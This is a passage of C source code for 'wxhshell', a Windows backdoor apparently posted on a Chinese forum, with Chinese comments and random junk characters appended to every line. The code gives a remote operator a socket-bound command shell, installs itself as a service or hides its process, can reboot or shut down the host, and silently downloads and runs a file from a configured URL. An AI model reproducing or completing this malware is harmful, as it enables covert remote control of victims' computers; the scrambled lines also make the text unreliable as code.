    switch(cmd[0]) { 1$))@K-I  
  6jMc|he  
  // 帮助 a@|`!<5  
  case '?': { F6{ O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xz:  
    break; kK/>,Eg  
  } hRKJKQ@7  
  // 安装 J}Z\I Y,  
  case 'i': { DM6(8df(  
    if(Install()) y2g)*T!m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PtPx(R3  
    else K\}qY dPF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O&CY9 2)Lk  
    break; ~A/vP-  
    } Gf7r!Ur;g  
  // 卸载 xE_~.EoB  
  case 'r': { MR,>]| ^  
    if(Uninstall()) {o'(_.{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CC6]AM(i  
    else M;g"rpM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); , Sf:R4=  
    break; j0cB#M44  
    } D(_j;?i  
  // 显示 wxhshell 所在路径 DBfq9%J _  
  case 'p': { _B&;z $  
    char svExeFile[MAX_PATH]; N+UBXhh  
    strcpy(svExeFile,"\n\r"); EwfL.z  
      strcat(svExeFile,ExeFile); ckdCd J  
        send(wsh,svExeFile,strlen(svExeFile),0); [*vR&4mk  
    break; mg3YKHNG  
    } P`CQ)o  
  // 重启 N mNj0&  
  case 'b': { Np opg1Gv>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x;&iLQZh  
    if(Boot(REBOOT)) q\s>Oe6$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -<\hcV`&  
    else { i:R_g]  
    closesocket(wsh); 6 #jpA.;  
    ExitThread(0); 0d,&)  
    } a{I(Qh!}  
    break;  *% ]&5  
    } Y0Rk:Njc  
  // 关机 =, U~  
  case 'd': { H"JzTo8u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I&&[ ':  
    if(Boot(SHUTDOWN)) t%s(xz#1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ! M7727  
    else { |r`0< `  
    closesocket(wsh); %&$s0=+  
    ExitThread(0); U)S!@ 2(4  
    } Qv;^nj{\qV  
    break; ]E vK.ORy  
    } >s%m\"|oh  
  // 获取shell [@/x  
  case 's': { %c&< {D}r  
    CmdShell(wsh); /kFw(l_.  
    closesocket(wsh); 8{%[|Ye  
    ExitThread(0); $gcC}tX  
    break; ftqeiZ 2  
  } L8$+%Gvo  
  // 退出 Z&Z= 24q_  
  case 'x': { &(X-b"2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :W}M$5|  
    CloseIt(wsh); qJJ~#W)  
    break; )cRP6 =  
    } D"s ]dQ$r  
  // 离开 X_J(P?  
  case 'q': { Xa=oEG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dj:6c@n  
    closesocket(wsh); `< cn  
    WSACleanup(); .^FdO$"  
    exit(1); v?#W/].C+  
    break; a.G;s2>  
        } a*UxRi8  
  } ,=t}|!jx  
  } V%'+ ob6  
j |:{ B  
  // 提示信息 J*r%b+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y/6%'56uF  
} {wVJv1*l  
  } J*"G*x#u  
\m3ca-Y  
  return; UZ 6:vmcT  
} ~g|z7o  
+ Awo\;@,  
// shell模块句柄 HF]|>1WV[  
int CmdShell(SOCKET sock) " midC(rTm  
{ 4A~1Z,"%v(  
STARTUPINFO si; 222Mm/QN  
ZeroMemory(&si,sizeof(si)); g/e2t=qP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )Vnqz lI5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tG(!d$^  
PROCESS_INFORMATION ProcessInfo; +OX:T) 4h6  
char cmdline[]="cmd"; VF] ~J=>i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _';oT*#  
  return 0; M"<B@p]rk:  
} md`"zV  
4 .d~u@=  
// 自身启动模式 gOKF%Ej31T  
int StartFromService(void) f" g-Hbl5  
{ A&/ YnJ"  
typedef struct I`FqZw  
{ jxNnrIA  
  DWORD ExitStatus; 7C@%1kL  
  DWORD PebBaseAddress; q[MZSg  
  DWORD AffinityMask; 3zuYN-;  
  DWORD BasePriority; 1o%E(*M4I  
  ULONG UniqueProcessId; 4-veO3&.h  
  ULONG InheritedFromUniqueProcessId; ftwn<B  
}   PROCESS_BASIC_INFORMATION; Ht=h9}x"g  
QFX )Nov];  
PROCNTQSIP NtQueryInformationProcess; W"*~1$vf  
s\A4y "  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d\A!5/LG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nH7i)!cI~  
{m7>9{`  
  HANDLE             hProcess; KBkS>0;X  
  PROCESS_BASIC_INFORMATION pbi; 78-D/WY/X  
N=@Nn)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W$ag |WV  
  if(NULL == hInst ) return 0; Z_}[hz$  
+_ZXzzcO<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `M.\D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s(MLBV5)w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <9jN4hV  
6A,-?W'\  
  if (!NtQueryInformationProcess) return 0; 5T- N\)@  
IFfB3{J  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  4fa2_  
  if(!hProcess) return 0; }10ZPaHjl+  
;j^C35  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?'I pR  
N!iugGL  
  CloseHandle(hProcess); @_4E^KgF  
7r,h[9~e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |VxO ,[~  
if(hProcess==NULL) return 0; na,i(m?l  
1sN >U<  
HMODULE hMod; rVF7!|&  
char procName[255]; QdtGFY4f,  
unsigned long cbNeeded; C|hD^m  
>hsvRX\_ `  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .tH[A[/1 a  
q6a7o=BP]  
  CloseHandle(hProcess); t],5{UF  
Ti!<{>  
if(strstr(procName,"services")) return 1; // 以服务启动 N~t4qlC/  
/_.1f|{B  
  return 0; // 注册表启动 `@)>5gW&p  
} nTQ&nu!  
Kdr7JQYzuz  
// 主模块 !bg2(2z  
int StartWxhshell(LPSTR lpCmdLine) WO]9\"|y  
{ qnCJrY6]  
  SOCKET wsl; x}B_;&>&"_  
BOOL val=TRUE; z(g6$Y{  
  int port=0; <yxy ;o  
  struct sockaddr_in door; `<x((@#  
\~~y1.,U.  
  if(wscfg.ws_autoins) Install(); (N 0kTi]b  
gof'NT\c  
port=atoi(lpCmdLine); 7x5wT ?2W  
JNk6:j&Pf  
if(port<=0) port=wscfg.ws_port; *iwV B^^$  
)g ; !IL  
  WSADATA data; o`+$h:zm@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @r=v*hu  
Z0#&D&2sV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nC2e^=^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tS:/:0HnA)  
  door.sin_family = AF_INET; ,!7\?=G6}v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Pg\!\5  
  door.sin_port = htons(port);  'VzYf^  
{#C)S&o)6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (YC{BM}  
closesocket(wsl); jWjp0ii  
return 1; L=#nnj-  
} = iXHu *g  
wJMk%N~R:  
  if(listen(wsl,2) == INVALID_SOCKET) { }eq*dr1`  
closesocket(wsl); v{c,>]@  
return 1; 3[;fO_R  
} ScCA8JgY  
  Wxhshell(wsl); u|{(m_"H  
  WSACleanup(); S\"#E:A  
DqN<bu2  
return 0; " .<>(bE  
s=[T,:Z  
} AJ"a  
%ZbdWHO#  
// 以NT服务方式启动 }|u>b!7_.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vp|'Yy(9z  
{ h#JX$9  
DWORD   status = 0;  up==g  
  DWORD   specificError = 0xfffffff; PL|zm5923  
&@[pJ2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7,7-E&d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Or3GrZ!H  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tQWjNP~  
  serviceStatus.dwWin32ExitCode     = 0; tB{HH%cV  
  serviceStatus.dwServiceSpecificExitCode = 0; =V>inH  
  serviceStatus.dwCheckPoint       = 0; )&vuT q'7'  
  serviceStatus.dwWaitHint       = 0; Hzc5BC  
6tZ ak1=V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 64LAZE QX  
  if (hServiceStatusHandle==0) return; [~{'"-3L0  
f[fH1cu&`  
status = GetLastError(); Kv ~'*A)d  
  if (status!=NO_ERROR) Ls6C*<8  
{ ;>*Pwz`~jT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t/B4?A@C  
    serviceStatus.dwCheckPoint       = 0; U~I y),5  
    serviceStatus.dwWaitHint       = 0; Rv)*Wo!L  
    serviceStatus.dwWin32ExitCode     = status; nI7v:h4  
    serviceStatus.dwServiceSpecificExitCode = specificError; +%  !'~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,,=VF(@G  
    return; F!7\Za,  
  } ?A]/ M~3B  
tV"Jh>Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?XllPnuKt%  
  serviceStatus.dwCheckPoint       = 0; M.3ULt8  
  serviceStatus.dwWaitHint       = 0; JA2oy09G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7KJ%-&L^  
} ^@HWw@GA  
D5"Xjo*  
// 处理NT服务事件,比如:启动、停止 MN^d28^/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) m(KBg'kQ  
{ 4Is Wp!`W  
switch(fdwControl) 9}A\Bh tiM  
{ l8H8c &  
case SERVICE_CONTROL_STOP: +%=lu14G  
  serviceStatus.dwWin32ExitCode = 0; MWq1 "c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ":!1gC  
  serviceStatus.dwCheckPoint   = 0; \OE,(9T2P.  
  serviceStatus.dwWaitHint     = 0; w JF(&P  
  { l1%ubu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aJLc&o 8Yg  
  } ~B\O{5W  
  return; %;,4qB  
case SERVICE_CONTROL_PAUSE: 7* R %zJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YVLK X}$)(  
  break; &fe67#0r)  
case SERVICE_CONTROL_CONTINUE: >XPR)&t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ? J/NYV  
  break; G#YBfPmr  
case SERVICE_CONTROL_INTERROGATE: oS^g "hQ`\  
  break; GJIZu&C  
}; F/u i(4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); . L9n  
} &$yDnSt\  
W4q |55  
// 标准应用程序主函数 QB"+B]rV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~A_1he~  
{ 95mwDHbA  
p0Pmmp7r  
// 获取操作系统版本 j~Mx^ivwj  
OsIsNt=GetOsVer(); *:?XbtIK u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `_e5pW=:>  
2$b JMx>  
  // 从命令行安装 wGgeK,*_  
  if(strpbrk(lpCmdLine,"iI")) Install(); @k9n0Qe|F  
z:oi @q  
  // 下载执行文件 n{(,r'  
if(wscfg.ws_downexe) { #'4Psz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <9]J/w+  
  WinExec(wscfg.ws_filenam,SW_HIDE); eCjyx|:J  
} [&sabM`Ul  
K"cV7U rE  
if(!OsIsNt) { :Q ?p^OC  
// 如果时win9x,隐藏进程并且设置为注册表启动 &2r[4  
HideProc(); + zf`_1+)U  
StartWxhshell(lpCmdLine); %gu|  
} rN'8,CV  
else M>ntldV#g%  
  if(StartFromService()) PkcvUJV  
  // 以服务方式启动 QYps5zcn  
  StartServiceCtrlDispatcher(DispatchTable); \Nj#1G  
else *^:s! F  
  // 普通方式启动 "u)Le6.  
  StartWxhshell(lpCmdLine); ?Xj@Sx  
@$1jp4c   
return 0; G^:?)WRG  
}
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只看该作者 1 发表于: 2006-10-10
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